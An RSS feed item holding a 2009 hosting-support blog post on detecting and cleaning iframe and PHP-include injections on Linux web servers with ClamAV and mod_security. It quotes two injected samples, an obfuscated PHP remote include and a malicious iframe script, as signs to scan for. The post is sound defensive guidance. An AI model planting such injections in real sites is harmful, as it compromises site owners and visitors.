<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SupportSages &#187; virus</title>
	<atom:link href="http://www.supportsages.com/blog/tag/virus/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.supportsages.com/blog</link>
	<description>Technical Support and Server Management : Musings in the fox hole.</description>
	<lastBuildDate>Fri, 16 Jul 2010 02:47:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to do virus scan on Linux servers ?</title>
		<link>http://www.supportsages.com/blog/2009/04/how-to-do-virus-scan-on-linux-servers/</link>
		<comments>http://www.supportsages.com/blog/2009/04/how-to-do-virus-scan-on-linux-servers/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 12:09:42 +0000</pubDate>
		<dc:creator>George</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=73</guid>
		<description><![CDATA[Do you really need to do virus scan on Linux servers ? Sometimes yes. With the recent high level of iframe/php include/js injections, it seems we need to scan the pages for iframe injections, like below

<blockquote>
<code>< ? php include(urldecode("%68%74%74%70%3a%2f%2f%62%75%79%34%6d%65%2e%69%6e%66%6f%2f%73%63%72%2f%31%30%2e%74%78%74")); ? >
< iframe src=http://ms.nesseseni.cn/src.js >< /iframe ></code></blockquote>

Below are a few URLs which could help you in the process 

<a href="http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com">http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com</a>
<a href="http://www.malwaredomains.com/">http://www.malwaredomains.com/</a>
<a href="http://www.malwaredomainlist.com/mdl.php">http://www.malwaredomainlist.com/mdl.php</a> - A regularly updated list.

You can install clamav antivirus which is open source and do a clamav scan to make sure that the website is not affected. On a cPanel server, the below command will scan the entire website ...]]></description>
			<content:encoded><![CDATA[<p>Do you really need to do virus scan on Linux servers ? Sometimes yes. With the recent high level of iframe/php include/js injections, it seems we need to scan the pages for iframe injections, like below</p>
<blockquote><p>
<code>< ? php include(urldecode("%68%74%74%70%3a%2f%2f%62%75%79%34%6d%65%2e%69%6e%66%6f%2f%73%63%72%2f%31%30%2e%74%78%74")); ? ><br />
< iframe src=http://ms.nesseseni.cn/src.js >< /iframe ></code></p></blockquote>
<p>Below are a few URLs which could help you in the process </p>
<p><a  href="http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com">http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com</a><br />
<a  href="http://www.malwaredomains.com/">http://www.malwaredomains.com/</a><br />
<a  href="http://www.malwaredomainlist.com/mdl.php">http://www.malwaredomainlist.com/mdl.php</a> &#8211; A regularly updated list.</p>
<p>You can install clamav antivirus which is open source and do a clamav scan to make sure that the website is not affected. On a cPanel server, the below command will scan the entire website files of each users.</p>
<blockquote><p>clamscan -i -r &#8211;remove /home/*/public_html/</p></blockquote>
<p>Why would I recommend clamav over other paid antivirus ? For obvious reasons that you can edit ClamAV rules to include more iframe detection rules. Just write a new regex rules in the clamav virus DBs and you have the situation under control, at least for those matching iframe codes.</p>
<p>Other solution would be mod_security 2.5 that could help preventing the page alteration using SQL injection and javascript injection and threats detailed in <a  href="http://www.gnucitizen.org/blog/atom-2/">http://www.gnucitizen.org/blog/atom-2/</a></p>
<p>Here I was talking about server security. Once infected, there are a few things client has to do as well.</p>
<p>   1. Scan your machine as well as your webmaster&#8217; with anti-virus and anti-spyware tools.<br />
   2. Once you are sure your computer is clean, change all site passwords. (You might want to change computer and network passwords too.)<br />
   3. Now keep the new passwords secure.<strong> Don’t use auto-upload features</strong> of your WYSIWYG editors or in your FTP browsers. Enter passwords every time you upload new content instead. Use SFTP instead of FTP if possible. Only a few hosts offer sftp though.<br />
   4. If your site was flagged by Google at http://www.google.com/safebrowsing/diagnostic , request a malware review via Webmaster Tools.<br />
   5. Regularly check your site with diagnostics tools of your choice (like <a  href="http://unmaskparasites.com/">Unmask Parasites</a> ) to be sure your site is clean.</p>
<p align="left"><a  class="tt" href="http://twitter.com/home/?status=How+to+do+virus+scan+on+Linux+servers+%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F73" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/tt-twitter.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=How+to+do+virus+scan+on+Linux+servers+%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F73" title="Post to Twitter">Tweet This Post</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/04/how-to-do-virus-scan-on-linux-servers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
